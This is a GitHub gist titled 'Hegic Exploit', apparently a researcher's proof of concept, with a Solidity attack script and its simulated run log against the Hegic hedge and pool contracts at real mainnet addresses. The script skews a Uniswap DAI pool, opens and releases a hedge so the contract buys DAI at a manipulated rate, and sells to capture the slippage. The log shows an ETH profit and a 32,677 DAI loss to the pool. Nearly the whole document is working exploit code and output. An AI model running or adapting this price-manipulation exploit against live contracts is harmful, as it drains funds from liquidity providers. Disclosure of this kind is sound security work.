-
-
Save samczsun/e3eb996d31b2c18a868a7b3118df2ecd to your computer and use it in GitHub Desktop.
Hegic Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[#] running script "HegicExploit" | |
[#] current block is 9737878 | |
[#] running "supply liquidity" as 0x9759A6Ac90977b93B58547b4A71c78317f391A28 with 0.000000000000000000 ether | |
[0x9759A6Ac90977b93B58547b4A71c78317f391A28] supplied dai=50000.000000000000000000 totalBalance=55443.310349799470538187 | |
[#] finished running "supply liquidity" | |
[#] running "exploit" as 0x54BE6DF1104338E5EE8609e6C5976A948444BF92 with 100000.000000000000000000 ether | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] lockedAmount=4881.165471644000000000 totalBalance=55443.310349799470538187 availableBalance=39473.482808195576430549 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] currentPrice=138.45527900 ethAmount=285.099153266634033004 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] strike=39473.482808195576430464 premium=0.000009427882052468 fee=2.850991532666340330 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] hedgeId=51 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] startingEtherBalance=100000.000000000000000000 endingEtherBalance=100190.300439712604418490 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] profit=190.300439712604418490 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] startingPoolBalance=55443.310349799470538187 endingPoolBalance=22765.374206916430234617 | |
[0x54BE6DF1104338E5EE8609e6C5976A948444BF92] loss=32677.936142883040303570 | |
[#] finished running "exploit" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract PriceProviderLike { | |
function currentAnswer() external view returns (uint); | |
} | |
contract HedgeLike { | |
function createHedge(uint period, uint amount) public payable returns (uint hedgeID); | |
function release(uint hedgeID) public payable; | |
function priceProvider() public view returns (PriceProviderLike); | |
function fees(uint period, uint amount) public view returns (uint strike, uint premium, uint fee); | |
} | |
contract PoolLike { | |
function provide(uint256) public; | |
function lockedAmount() public view returns (uint); | |
function totalBalance() public view returns (uint); | |
} | |
contract HegicExploit is script { | |
HedgeLike private constant HEDGE = HedgeLike(0x27b6125328ca57d5d96baAa4F9cA8C5EdBaFe016); | |
PoolLike private constant POOL = PoolLike(0x009c216b7e86E5c38AF14fcd8c07AaB3a2E7888E); | |
function setup() public { | |
} | |
function run() public { | |
run("supply liquidity", this.supplyLiquidity) | |
.withCaller(0x9759A6Ac90977b93B58547b4A71c78317f391A28); | |
run("exploit", this.exploit) | |
.withBalance(100000 ether); | |
} | |
// the amount of dai to supply to the pool, because this exploit only turns a profit at large volumes | |
uint private constant liquiditySupply = 50000 ether; | |
function supplyLiquidity() external { | |
// mint some dai (as DaiJoin) for simplicity and so we don't affect the uniswap pool | |
DAI.mint(address(this), liquiditySupply); | |
// supply it to the hegic pool | |
DAI.approve(address(POOL), liquiditySupply); | |
POOL.provide(liquiditySupply); | |
fmt.printf("supplied dai=%.18u totalBalance=%.18u\n", abi.encode(liquiditySupply, POOL.totalBalance())); | |
} | |
function exploit() external { | |
// calculate the maximum amount of dai the pool will allow us to lock | |
uint lockedAmount = POOL.lockedAmount(); | |
uint totalBalance = POOL.totalBalance(); | |
uint availableBalance = (totalBalance * 8 / 10 - lockedAmount); | |
fmt.printf("lockedAmount=%.18u totalBalance=%.18u availableBalance=%.18u\n", abi.encode(lockedAmount, totalBalance, availableBalance)); | |
// calculate the maximum amount of eth | |
uint currentPrice = HEDGE.priceProvider().currentAnswer(); | |
uint ethAmount = availableBalance * 1e8 / currentPrice; | |
fmt.printf("currentPrice=%.8u ethAmount=%.18u\n", abi.encode(currentPrice, ethAmount)); | |
// determine the fees | |
(uint strike, uint premium, uint fee) = HEDGE.fees(1, ethAmount); | |
fmt.printf("strike=%.18u premium=%.18u fee=%.18u\n", abi.encode(strike, premium, fee)); | |
// make a note of the starting balances | |
uint startingEtherBalance = address(this).balance; | |
uint startingPoolBalance = DAI.balanceOf(address(POOL)); | |
// skew the uniswap pool - this causes the hedge contract to purchase dai at an extremely high rate | |
uniswap.buy(DAI, 1000000 ether); | |
// create the hedge | |
uint hedgeId = HEDGE.createHedge.value(premium + fee)(1, ethAmount); | |
fmt.printf("hedgeId=%u\n", abi.encode(hedgeId)); | |
// release the hedge | |
HEDGE.release.value(ethAmount)(hedgeId); | |
// sell all of the dai, capturing the slippage incurred by the hedge contract | |
uniswap.sellAll(DAI); | |
// make a note of the ending balances | |
uint endingEtherBalance = address(this).balance; | |
uint endingPoolBalance = DAI.balanceOf(address(POOL)); | |
// this is how much of a profit in eth we made | |
fmt.printf("startingEtherBalance=%.18u endingEtherBalance=%.18u\n", abi.encode(startingEtherBalance, endingEtherBalance)); | |
fmt.printf("profit=%.18u\n", abi.encode(endingEtherBalance - startingEtherBalance)); | |
// this is how much of a loss in dai the pool incurred | |
fmt.printf("startingPoolBalance=%.18u endingPoolBalance=%.18u\n", abi.encode(startingPoolBalance, endingPoolBalance)); | |
fmt.printf("loss=%.18u\n", abi.encode(startingPoolBalance - endingPoolBalance)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment